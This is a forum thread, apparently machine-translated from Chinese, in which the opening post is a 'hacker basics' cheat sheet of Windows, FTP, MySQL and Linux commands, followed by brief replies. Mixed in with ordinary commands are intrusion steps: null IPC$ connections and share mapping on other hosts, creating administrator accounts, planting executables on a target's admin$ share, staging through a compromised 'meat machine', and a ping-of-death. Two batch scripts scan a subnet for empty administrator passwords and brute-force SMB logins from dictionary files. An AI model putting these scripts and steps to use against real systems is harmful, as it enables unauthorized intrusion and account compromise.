China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-08-27 07:43
中国DOS联盟论坛 » 其它操作系统综合讨论区 » The Most Comprehensive DOS Commands for Hacking Basics View 4,651 Replies 15
Original Poster Posted 2007-07-02 14:03 ·  中国 广东 深圳 宝安区 电信
中级用户
★★
国际认证VIP会员
Credits 409
Posts 113
Joined 2007-02-02 06:50
19-year member
UID 78400
Gender Male
From 深圳
Status Offline
Hacker Basics: The Most Comprehensive DOS Commands

Hacker Basics: The Most Comprehensive DOS Commands

net use \\ip\ipc$ " " /user:" " Establish an IPC empty connection
net use \\ip\ipc$ "password" /user:"username" Establish a non-empty IPC connection
net use h: \\ip\c$ "password" /user:"username" Directly log in and map the other party's C: to local as H:
net use h: \\ip\c$ Log in and map the other party's C: to local as H:
net use \\ip\ipc$ /del Delete IPC connection
net use h: /del Delete the mapping of the other party to the local as H:
net user username password /add Create a user
net user guest /active:yes Activate the guest user
net user View which users there are
net user account name View the properties of the account
net localgroup administrators username /add Add "user" to administrators to give it administrator privileges. Note: Add s to administrator in plural
net start View which services are started
net start service name Start the service; (e.g.: net start telnet, net start schedule)
net stop service name Stop a certain service
net time \\target ip View the other party's time
net time \\target ip /set Synchronize the local computer time with the time of the "target IP" host. Add the parameter /yes to cancel the confirmation message
net view View which shares are enabled in the local LAN
net view \\ip View which shares are enabled in the other party's LAN
net config Display system network settings
net logoff Disconnect the connected share
net pause service name Pause a certain service
net send ip "text information" Send information to the other party
net ver The type and information of the network connection being used in the LAN
net share View the shares enabled locally
net share ipc$ Enable ipc$ share
net share ipc$ /del Delete ipc$ share
net share c$ /del Delete C: share
net user guest 12345 Log in with the guest user and change the password to 12345
net password password Change the system login password
netstat -a View which ports are enabled. Commonly used netstat -an
netstat -n View the network connection situation of ports. Commonly used netstat -an
netstat -v View the work in progress
netstat -p protocol name Example: netstat -p tcq/ip View the usage of a certain protocol (view the usage of the tcp/ip protocol)
netstat -s View the usage of all currently used protocols
nbtstat -A ip If one of the ports from 136 to 139 of the other party is open, you can view the user name that the other party logged in recently (the user name is before 03)-Note: The parameter -A should be capitalized
tracert -parameter ip (or computer name) Trace the route (data packet). Parameter: "-w number" is used to set the timeout interval.
ping ip (or domain name) Send data with a default size of 32 bytes to the other party's host. Parameters: "-l [space] packet size"; "-n number of sends"; "-t" means keep pinging.
ping -t -l 65550 ip Death ping (sending a file larger than 64K and keeping pinging becomes a death ping)
ipconfig (winipcfg) For windows NT and XP (windows 95 98) to view the local ip address. ipconfig can use the parameter "/all" to display all configuration information
tlist -t Display processes in a tree list (it is an additional tool of the system, not installed by default, in the Support/tools folder of the installation directory)
kill -F process name Add the -F parameter to forcibly end a certain process (it is an additional tool of the system, not installed by default, in the Support/tools folder of the installation directory)
del -F file name Add the -F parameter to delete the read-only file. /AR, /AH, /AS, /AA respectively mean deleting read-only, hidden, system, archive files. /A-R, /A-H, /A-S, /A-A mean deleting files other than read-only, hidden, system, archive. For example, "DEL/AR *.*" means deleting all read-only files in the current directory, and "DEL/A-S *.*" means deleting all files in the current directory except system files

del /S /Q directory Or use: rmdir /s /Q directory /S deletes the directory and all subdirectories and files under the directory. At the same time, using the parameter /Q can cancel the system confirmation during the deletion operation and delete directly. (The two commands have the same function)
move drive letter\path\file name to be moved path\file name after moving Move the file. Use the parameter /y to cancel the prompt to confirm that there is the same file in the moving directory and directly overwrite
fc one.txt two.txt > 3st.txt Compare the two files and output the different parts to the 3st.txt file. "> " and "> >" are redirection commands
at id number Start a registered scheduled task
at /delete Stop all scheduled tasks. Use the parameter /yes to stop directly without confirmation
at id number /delete Stop a registered scheduled task
at View all scheduled tasks
at \\ip time program name (or a command) /r Run a certain program of the other party at a certain time and restart the computer
finger username @host View which users have logged in recently
telnet ip port Remotely log in to the server. The default port is 23
open ip Connect to IP (belongs to the command after telnet login)
telnet Type telnet directly on the local machine to enter the local telnet
copy path\file name 1 path\file name 2 /y Copy file 1 to the specified directory as file 2. Use the parameter /y to cancel confirming that you want to rewrite an existing directory file at the same time
copy c:\srv.exe \\ip\admin$ Copy the local c:\srv.exe to the admin of the other party
cppy 1st.jpg/b+2st.txt/a 3st.jpg Hide the content of 2st.txt in 1st.jpg to generate a new file 3st.jpg. Note: The first three rows of the 2st.txt file should be empty. Parameters: /b means binary file, /a means ASCLL format file
copy $\svv.exe">\\ip\admin$\svv.exe c:\ Or: copy\\ip\admin$\*.* Copy the srv.exe file (all files) under the other party's admini$ share to the local C:
xcopy file or directory tree to be copied target address\directory name Copy files and directory trees. Use the parameter /Y to not prompt to overwrite the same file
tftp -i my IP (use the meat machine as a springboard, use the meat machine IP here) get server.exe c:\server.exe After logging in, download the server.exe of "IP" to the target host c:\server.exe. Parameter: -i means transfer in binary mode, such as when transferring an exe file. If -i is not added, transfer in ASCII mode (text file mode)
tftp -i other party's IP put c:\server.exe After logging in, upload the local c:\server.exe to the host
ftp ip port For uploading files to the server or performing file operations. The default port is 21. bin means transfer in binary mode (for executable files); the default is transfer in ASCII format (for text files)
route print Display the IP route. It will mainly display the network address Network addres, subnet mask Netmask, gateway address Gateway addres, interface address Interface
arp View and process the ARP cache. ARP means address resolution, which is responsible for resolving an IP into a physical MAC address. arp -a will display all information
start program name or command /max or /min Open a new window and run a certain program or command in maximize (minimize)
mem View cpu usage
attrib file name (directory name) View the attributes of a certain file (directory)
attrib file name -A -R -S -H or +A +R +S +H Remove (add) the archive, read-only, system, hidden attributes of a certain file; use + to add a certain attribute
dir View files. Parameters: /Q displays which user of the system the file and directory belong to, /T:C displays the file creation time, /T:A displays the last access time of the file, /T:W displays the last modification time
date /t, time /t Use this parameter, that is, "DATE/T", "TIME/T" will only display the current date and time, and there is no need to enter a new date and time
set specified environment variable name=character to be assigned to the variable Set environment variable
set Display all current environment variables
set p (or other characters) Display all environment variables starting with the character p (or other characters)
pause Pause the batch processing program and display: Press any key to continue....
if Execute conditional processing in the batch processing program (for more instructions, see if command and variables)
goto label Direct cmd.exe to the line with the label in the batch processing program (the label must be on a separate line and start with a colon, for example: ":start" label)
call path\batch processing file name Call another batch processing program from the batch processing program (for more instructions, see call /?)
for Execute a specific command for each file in a group of files (for more instructions, see for command and variables)
echo on or off Turn on or off echo. Just use echo without parameters to display the current echo setting
echo information Display information on the screen
echo information >> pass.txt Save "information" to the pass.txt file
findstr "Hello" aa.txt Find the string hello in the aa.txt file
find file name Find a certain file
title title name Change the title name of the CMD window
color color value Set the foreground and background colors of the cmd console; 0=black, 1=blue, 2=green, 3=light green, 4=red, 5=purple, 6=yellow, 7=white, 8=gray, 9=light blue, A=light green, B=light light green, C=light red, D=light purple, E=light yellow, F=bright white
prompt name Change the command prompt displayed by cmd.exe (change C:\, D:\ to: EntSky\ uniformly)
print file name Print the text file

ver Display version information under the DOS window
winver Pop up a window to display version information (memory size, system version, patch version, computer name)
format drive letter /FS: type Format the disk. Type: FAT, FAT32, NTFS. Example: Format D: /FS:NTFS
md directory name Create directory
replace source file directory to replace the file Replace the file
ren original file name new file name Rename the file name
tree Display the directory in a tree structure. Use the parameter -f to list the file names in each folder
type file name Display the content of the text file
more file name Display the output file page by page
doskey command to be locked=character
doskey command to be unlocked= Provide the locked command (edit command line, re-call win2k command, and create macro) for DOS. For example: Lock the dir command: doskey dir=entsky (cannot use doskey dir=dir); Unlock: doskey dir=
taskmgr Bring up the task manager
chkdsk /F D: Check disk D and display the status report; add parameter /f and repair errors on the disk
tlntadmn telnt service admn. Type tlntadmn, select 3, then select 8, you can change the default port 23 of the telnet service to any other port
exit Exit the cmd.exe program or currently. Use parameter /B to exit the current batch script instead of cmd.exe
path path\file name of executable file Set a path for the executable file.
cmd Start a win2K command interpretation window. Parameters: /eff, /en close, enable command extension; for more detailed instructions, see cmd /?
regedit /s registry file name Import the registry; parameter /S means import in silent mode without any prompts;
regedit /e registry file name Export the registry
cacls file name parameter Display or modify the file access control list (ACL)-for NTFS format. Parameters: /D username: set to deny a certain user access; /P username:perm replace the access rights of the specified user; /G username:perm give the specified user access rights; Perm can be: N none, R read, W write, C change (write), F full control; Example: cacls D:\test.txt /D pub set d:\test.txt to deny pub user access.
cacls file name View the list of access user permissions of the file
REM text content Add comments in the batch processing file
netsh View or change the local network configuration

IIS service commands:
iisreset /reboot Restart the win2k computer (but there will be a prompt that the system will restart)
iisreset /start or stop Start (stop) all Internet services
iisreset /restart Stop and then restart all Internet services
iisreset /status Display the status of all Internet services
iisreset /enable or disable Enable (disable) the restart of Internet services on the local system
iisreset /rebootonerror When starting, stopping or restarting Internet services, if an error occurs, the computer will restart
iisreset /noforce If the Internet service cannot be stopped, it will not forcibly terminate the Internet service
iisreset /timeout Val When the timeout (seconds) is reached, the Internet service is still not stopped. If the /rebootonerror parameter is specified, the computer will restart. The default value is 20 seconds for restart, 60 seconds for stop, and 0 seconds for restart.
FTP commands: (There is detailed explanation content later)
The command line format of ftp is:
ftp -v -d -i -n -g[hostname] -v Display all response information of the remote server.
-d Use the debugging method.
-n Restrict the automatic login of ftp, that is, do not use the.netrc file.
-g Cancel the global file name.
help [command] or?[command] View command instructions
bye or quit Terminate the host FTP process and exit the FTP management mode.
pwd List the current remote host directory
put or send local file name [file name uploaded to the host] Transfer a local file to the remote host
get or recv [remote host file name] [file name after downloading to the local] Transfer from the remote host to the local host
mget [remote-files] Receive a batch of files from the remote host to the local host
mput local-files Transfer a batch of files from the local host to the remote host
dir or ls [remote-directory] [local-file] List the files in the current remote host directory. If there is a local file, write the result to the local file
ascii Set to transfer files in ASCII mode (default value)
bin or image Set to transfer files in binary mode
bell Prompt for alarm every time a file transfer is completed
cdup Return to the previous level directory
close Interrupt the ftp session with the remote server (corresponding to open)
open host[port] Establish a connection to the specified ftp server, and can specify the connection port
delete Delete the file in the remote host
mdelete [remote-files] Delete a batch of files
mkdir directory-name Create a directory in the remote host
rename [from] [to] Change the file name in the remote host
rmdir directory-name Delete the directory in the remote host
status Display the current FTP status
system Display the remote host system type
user user-name [password] [account] Log in to the remote host with another user name again
open host [port] Re-establish a new connection
prompt Interactive prompt mode
macdef Define macro commands
lcd Change the working directory of the current local host. If it is default, it will go to the current user's HOME directory
chmod Change the file permissions of the remote host
case When ON, when using the MGET command to copy the file name to the local machine, all are converted to lowercase letters
cd remote-dir Enter the remote host directory
cdup Enter the parent directory of the remote host directory
! Execute the interactive shell on the local machine, exit back to the ftp environment, such as!ls*.zip

MYSQL commands:
mysql -h host address -u username -p password Connect to MYSQL; if MYSQL is just installed, the super user root has no password.
(Example: mysql -h110.110.110.110 -Uroot -P123456
Note: u and root can be used without spaces, and the same for others)
exit Exit MYSQL
mysqladmin -u username -p old password password new password Change password
grant select on database.* to username@login host identified by \"password\"; Add a new user. (Note: Different from above, the following is a command in the MYSQL environment, so there is a semicolon at the end as the command end symbol)
show databases; Display the database list. At the beginning, there are only two databases: mysql and test. The mysql library is very important. It contains the system information of MYSQL. We change the password and add new users, in fact, we operate with this library.
use mysql;
show tables; Display the data tables in the library
describe table name; Display the structure of the data table
create database database name; Create a database
use database name;
create table table name (field setting list); Create a table
drop database database name;
drop table table name; Delete the database and the table
delete from table name; Clear the records in the table
select * from table name; Display the records in the table
mysqldump --opt school>school.bbb Backup the database: (execute the command in the \\mysql\\bin directory of DOS); Note: Backup the database school to the school.bbb file. school.bbb is a text file. Take any name. Open it and you will find new discoveries.
New commands in win2003 system (practical part):
shutdown /parameter Turn off or restart the local or remote host.
Parameter description: /S turn off the host, /R restart the host, /T number Set the delay time, range from 0 to 180 seconds, /A cancel the boot, /M //IP specify the remote host.
Example: shutdown /r /t 0 Restart the local host immediately (no delay)
taskill /parameter process name or process pid Terminate one or more tasks and processes.
Parameter description: /PID pid of the process to be terminated. You can use the tasklist command to obtain the pid of each process. /IM process name of the process to be terminated. /F forcibly terminate the process. /T terminate the specified process and the child processes it starts.
tasklist Display the processes, services, and process identifiers (PID) of each process running on the local and remote host currently.
Parameter description: /M list the dll files loaded by the current process, /SVC display the service corresponding to each process. Without parameters, it only lists the current process.

Basic commands under Linux system: Case-sensitive is required
uname Display version information (same as ver of win2K)
dir Display current directory files, ls -al display hidden files (same as dir of win2K)
pwd Query the current directory location
cd cd.. Go back to the previous level directory. Note that there is a space between cd and.. cd / return to the root directory.
cat file name View file content
cat >abc.txt Write content to the abc.txt file.
more file name Display a text file page by page.
cp Copy file
mv Move file
rm file name Delete file, rm -a directory name delete directory and subdirectories
mkdir directory name Create directory
rmdir Delete subdirectory, no documents in the directory.
chmod Set the access permissions of the file or directory
grep Find strings in the file
diff Compare file files
find File search
date Current date and time
who Query the people who are using the same machine as you and the Login time and place
w Query the detailed information of the people who are online currently
whoami View your own account name
groups View someone's Group
passwd Change password
history View the commands you have entered
ps Display process status
kill Stop a certain process
gcc Hackers usually use it to compile files written in C language
su Convert permissions to the specified user
telnet IP telnet connect to the other party's host (same as win2K). When bash$ appears, it means the connection is successful.
ftp ftp connect to a certain server (same as win2K)

Appendix: Batch processing commands and variables

1: for command and variable Basic format:
FOR /parameter %variable IN (set) DO command [command_parameters] %variable: specify a single letter replaceable parameter, such as: %i, and specify a variable to use: %%i, and call the variable to use: %i%, the variable is case-sensitive (%i is not equal to %I).
Batch processing can process variables from %0—%9 each time, a total of 10. Among them, %0 is default for the batch processing file name, %1 is default for the first value input when using this batch processing, and similarly: %2—%9 refer to the 2nd-9th values input; example: net use \\ip\ipc$ pass /user:user In, ip is %1, pass is %2, user is %3

(set): Specify one or a group of files, and wildcards can be used, such as: (D:\user.txt) and (1 1 254)(1 -1 254), {"(1 1 254)" the first "1" refers to the starting value, the second "1" refers to the growth amount, the third "254" refers to the end value, that is: from 1 to 254; "(1 -1 254)" means: from 254 to 1}

command: Specify the command to be executed for each file, such as: net use command; if you want to execute multiple commands, separate the commands with: &
command_parameters: Specify parameters or command line switches for specific commands

IN (set): Refers to taking values in (set); DO command: Refers to executing command

Parameter: /L refers to using the incremental form {(set) is in incremental form}; /F refers to continuously taking values from the file until it is taken completely {(set) is a file, such as (d:\pass.txt) when}

Usage example:
@echo off
echo Usage format: test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "The command completed successfully" >>test.txt
Save as test.bat Description: Try to establish an IPC$ connection with an empty password for administrator for each of the 254 IPs of the specified C class network segment in turn. If it is successful, store the IP in test.txt.

/L refers to using the incremental form (that is, from 1-254 or 254-1); the first three digits of the input IP: *.*.* are the batch processing default %1; %%G is the variable (the last digit of the ip); & is used to separate the two commands echo and net use; | means that after establishing ipc$, use find to check whether there is the information "The command completed successfully" in the result; %1.%%G is the complete IP address; (1 1 254) refers to the starting value, growth amount, and end value.
@echo off
echo Usage format: ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
Save as: ok.exe Description: After entering an IP, use the dictionary file d:\pass.dic to brute-force the user password in d:\user.dic until the values in the file are taken completely. %%i is the user name; %1 is the input IP address (default).
我很笨但我很好学。
Floor 2 Posted 2007-07-02 18:56 ·  中国 山东 济南 移动
钻石会员
★★★★★
Credits 10,056
Posts 3,041
Joined 2002-11-11 00:00
23-year member
UID 223
Gender Male
Status Offline
简单就是美
Floor 3 Posted 2007-07-11 13:09 ·  中国 河北 秦皇岛 电信
初级用户
Credits 68
Posts 32
Joined 2007-04-01 12:12
19-year member
UID 83621
Gender Male
Status Offline
It's all things under the command, very hard to remember
Floor 4 Posted 2007-08-10 08:07 ·  中国 香港 城市电讯有限公司
中级用户
★★
Credits 338
Posts 86
Joined 2003-11-22 00:00
22-year member
UID 13179
Gender Male
Status Offline
Want to become a master
These commands must be remembered how many
Floor 5 Posted 2007-08-10 13:30 ·  中国 河南 郑州 联通
初级用户
Credits 91
Posts 45
Joined 2007-03-14 07:04
19-year member
UID 81689
Gender Male
Status Offline
Why does it get more and more confusing..
The DOS basics are not very good.
The commands given above don't say how to use them,

Can it be used in P processing?
Floor 6 Posted 2007-09-19 22:33 ·  中国 台湾 中华电信(HiNet)数据中心
初级用户
Credits 56
Posts 21
Joined 2007-09-19 17:38
18-year member
UID 97808
Gender Male
Status Offline
Thanks to the LZ for sharing~

Nowadays, hackers indeed need to put in hard work on network, file attribute, and system path commands
Floor 7 Posted 2007-10-16 22:27 ·  中国 广东 广州 番禺区 电信
新手上路
Credits 8
Posts 4
Joined 2007-09-17 16:18
18-year member
UID 97632
Gender Male
Status Offline
It's pretty good. I used to use it, but now I've almost forgotten it. Thanks.
Floor 8 Posted 2007-10-18 10:06 ·  中国 辽宁 锦州 联通
新手上路
Credits 10
Posts 4
Joined 2007-10-14 19:53
18-year member
UID 99746
Gender Male
Status Offline
Hackers need simple commands to accomplish great things
Floor 9 Posted 2007-10-18 21:06 ·  中国 福建 福州 教育网
新手上路
Credits 14
Posts 7
Joined 2007-10-18 12:36
18-year member
UID 100063
Gender Male
Status Offline
Some can't run. ~ Maybe my DOS version is too low...
Floor 10 Posted 2007-10-23 20:32 ·  中国 陕西 西安 电信
新手上路
Credits 15
Posts 8
Joined 2007-10-20 19:58
18-year member
UID 100286
Gender Male
From 陕西
Status Offline
Although I don't understand it, but I know this is very powerful. Is there any master willing to take me as a novice apprentice? Kind friends, friends who are willing to share knowledge mmmmmmmmmmmmmmmmmmmm die me
Floor 11 Posted 2007-10-26 19:00 ·  中国 广西 百色 电信
中级用户
★★
Credits 265
Posts 92
Joined 2006-11-29 23:08
19-year member
UID 72114
Gender Male
From 广西
Status Offline
I think it should be step by step!! After learning his basic commands, if you go to read those so-called good books, you should be able to understand them too!!! Hehe, still need to train (practice) how many times maybe to master it!! Hahaha, passing by!!
Floor 12 Posted 2007-11-02 11:36 ·  中国 江苏 苏州 电信
新手上路
Credits 14
Posts 5
Joined 2007-10-30 18:04
18-year member
UID 101206
Gender Male
Status Offline
It is very useful. But some commands are not very convenient to use. For example, net use, net time... always prompt access denied. It seems that we still need to work hard.
Floor 13 Posted 2007-11-10 02:45 ·  中国 广西 南宁 电信
新手上路
Credits 14
Posts 7
Joined 2007-11-10 01:48
18-year member
UID 102203
Gender Male
Status Offline
A few examples would be better
Floor 14 Posted 2007-11-13 21:37 ·  中国 河南 信阳 息县 联通
新手上路
Credits 8
Posts 4
Joined 2007-11-13 20:19
18-year member
UID 102584
Gender Male
Status Offline
The classic is definitely classic, but it seems a bit difficult. There are too many commands.
Floor 15 Posted 2007-12-02 00:10 ·  中国 河南 驻马店 联通
新手上路
Credits 4
Posts 2
Joined 2007-11-25 23:36
18-year member
UID 103765
Gender Male
Status Offline
Copy it down first and study it slowly
Forum Jump: